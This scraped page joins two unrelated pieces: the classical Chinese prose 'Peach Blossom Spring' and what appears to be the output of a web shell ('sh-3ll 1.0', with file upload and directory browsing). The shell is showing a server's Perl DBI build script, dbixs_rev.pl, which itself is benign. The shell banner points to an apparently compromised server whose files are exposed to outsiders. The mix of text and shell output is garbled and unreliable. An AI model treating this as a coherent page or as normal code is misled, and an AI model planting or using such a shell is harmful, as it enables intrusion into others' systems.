晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 sh-3ll

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sh-3ll 1.0
DIR:/proc/self/root/lib64/perl5/vendor_perl/
Upload File :
Current File : //proc/self/root/lib64/perl5/vendor_perl/dbixs_rev.pl
#!/usr/bin/perl -w
use strict;

my $dbixs_rev_file = "dbixs_rev.h";

my $is_make_dist;
my $svnversion;

if (is_dbi_svn_dir(".")) {
    $svnversion = `svnversion -n`;
}
elsif (is_dbi_svn_dir("..")) {
    # presumably we're in a subdirectory because the user is doing a 'make dist'
    $svnversion = `svnversion -n ..`;
    $is_make_dist = 1;
}
else {
    # presumably we're being run by an end-user because their file timestamps
    # got messed up
    print "Skipping regeneration of $dbixs_rev_file\n";
    utime(time(), time(), $dbixs_rev_file); # update modification time
    exit 0;
}

my @warn;
die "Neither current directory nor parent directory are an svn working copy\n"
    unless $svnversion and $svnversion =~ m/^\d+/;
push @warn, "Mixed revision working copy ($svnversion:$1)"
    if $svnversion =~ s/:(\d+)//;
push @warn, "Code modified since last checkin"
    if $svnversion =~ s/[MS]+$//;
warn "$dbixs_rev_file warning: $_\n" for @warn;
die "$0 failed\n" if $is_make_dist && @warn;

write_header($dbixs_rev_file, DBIXS_REVISION => $svnversion, \@warn);

sub write_header {
    my ($file, $macro, $version, $comments_ref) = @_;
    open my $fh, ">$file" or die "Can't open $file: $!\n";
    unshift @$comments_ref, scalar localtime(time);
    print $fh "/* $_ */\n" for @$comments_ref;
    print $fh "#define $macro $version\n";
    close $fh or die "Error closing $file: $!\n";
    print "Wrote $macro $version to $file\n";
}

sub is_dbi_svn_dir {
    my ($dir) = @_;
    return (-d "$dir/.svn" && -f "$dir/MANIFEST.SKIP");
}